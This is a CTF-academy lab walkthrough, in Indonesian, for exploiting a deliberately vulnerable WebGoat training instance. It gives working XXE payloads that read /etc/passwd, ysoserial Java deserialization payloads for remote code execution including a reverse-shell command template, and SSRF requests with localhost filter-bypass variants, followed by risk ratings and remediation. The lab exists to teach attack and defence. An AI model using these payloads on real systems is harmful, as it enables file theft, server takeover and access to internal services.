TDCTF Academy Logo TDCTF ACADEMY

WebGoat - XXE, Insecure Deserialization & SSRF

Target: webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat
Kredensial: guest / guest
Level: Advanced


Objective

Mengeksploitasi tiga kerentanan berbeda pada aplikasi WebGoat yang berjalan di Apache Tomcat:

  1. XXE (XML External Entity) - membaca file sensitif dari server
  2. Insecure Deserialization - Remote Code Execution (RCE) via serialized Java object
  3. SSRF (Server-Side Request Forgery) - mengakses internal admin panel yang tidak terekspos ke publik

Reconnaissance

1. Akses WebGoat

Buka browser dan arahkan ke:

http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat

Login menggunakan guest / guest.

2. Identifikasi Endpoint

WebGoat menyediakan menu challenge dengan kategori:

  • XXE - pada menu General → XXE
  • Insecure Deserialization - pada menu Insecure Deserialization
  • SSRF - pada menu General → SSRF

Exploitation

Exploit 1: XXE - File Read

Langkah 1: Inject XXE Payload

Pada halaman XXE challenge, intercept request menggunakan Burp Suite atau langsung kirim via cURL.

Request normal (POST):

POST /WebGoat/xxe/simple HTTP/1.1
Host: webgoat-vuln.vuln.cybersecurity.or.id:9090
Content-Type: application/xml

<?xml version="1.0"?><comment><text>test</text></comment>

Modifikasi payload XML dengan XXE untuk membaca /etc/passwd:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<comment><text>&xxe;</text></comment>

Langkah 2: Eksekusi

curl -X POST http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat/xxe/simple \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><comment><text>&xxe;</text></comment>'

Hasil: Server mengembalikan isi file /etc/passwd dalam response.


Exploit 2: Insecure Deserialization - RCE

Langkah 1: Identifikasi Endpoint

WebGoat memiliki endpoint yang melakukan deserialisasi objek Java dari input user.

Langkah 2: Buat Serialized Object Berbahaya

Gunakan ysoserial untuk membuat payload RCE:

java -jar ysoserial-all.jar CommonsCollections5 \
"touch /tmp/pwned-webgoat" > payload.ser

Langkah 3: Kirim Payload

curl -X POST http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat/deserialize/payload \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.ser

Hasil: File /tmp/pwned-webgoat berhasil dibuat di server.

Untuk RCE dengan reverse shell:

# Generate payload reverse shell
java -jar ysoserial-all.jar CommonsCollections5 \
"bash -c {echo,base64_revshell}|{base64,-d}|{bash,-i}" > revshell.ser

curl -X POST ... --data-binary @revshell.ser

Exploit 3: SSRF - Akses Internal Admin Panel

Langkah 1: Eksploitasi Endpoint SSRF

Endpoint SSRF WebGoat menerima URL sebagai parameter.

Payload:

POST /WebGoat/ssrf/url HTTP/1.1
Host: webgoat-vuln.vuln.cybersecurity.or.id:9090
Content-Type: application/x-www-form-urlencoded

url=http://vuln.cybersecurity.or.id/admin

Via cURL:

curl -X POST http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat/ssrf/url \
-d "url=http://vuln.cybersecurity.or.id/admin"

Langkah 2: Bypass Filter

Jika ada filter untuk localhost, gunakan alternatif:

# Gunakan 127.0.0.1
curl -X POST ... -d "url=http://127.0.0.1:8080/admin"

# Gunakan representasi IP desimal
curl -X POST ... -d "url=http://2130706433:8080/admin"

# Gunakan DNS rebinding atau short URL
curl -X POST ... -d "url=http://0:8080/admin"

Hasil: Response berisi konten halaman admin internal yang tidak seharusnya dapat diakses dari luar.


Evidence

Exploit Bukti
XXE Isi /etc/passwd tercantum dalam response HTTP
Insecure Deserialization File /tmp/pwned-webgoat terbuat di server
SSRF Halaman admin panel internal berhasil di-render

️ Risk Assessment

XXE - CVSS 9.8 (Critical)

  • CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • OWASP Top 10: A05:2021 - Security Misconfiguration (XXE)
  • Dampak: Attacker dapat membaca file sensitif, melakukan SSRF, dan DoS

Insecure Deserialization - CVSS 9.8 (Critical)

  • CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • OWASP Top 10: A08:2021 - Software and Data Integrity Failures
  • Dampak: RCE penuh pada server WebGoat

SSRF - CVSS 8.6 (High)

  • CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
  • OWASP Top 10: A10:2021 - Server-Side Request Forgery
  • Dampak: Akses ke service internal yang tidak terautentikasi

️ Remediation

XXE

  • Nonaktifkan DTD processing pada XML parser:
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Gunakan format data yang lebih aman (JSON, YAML)
  • Validasi dan sanitasi semua input XML

Insecure Deserialization

  • Jangan deserialisasi data dari source yang tidak terpercaya
  • Gunakan signing untuk memverifikasi integritas object:
    // HMAC signature verification sebelum deserialisasi
  • Implementasi whitelist class yang diizinkan untuk deserialisasi
  • Gunakan alternatif seperti JSON serialization

SSRF

  • Whitelist domain/IP yang diizinkan
  • Nonaktifkan akses ke private IP range (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8)
  • Gunakan URL parser yang aman dan validasi protocol
  • Implementasi network segmentation

References

PADA HALAMAN INI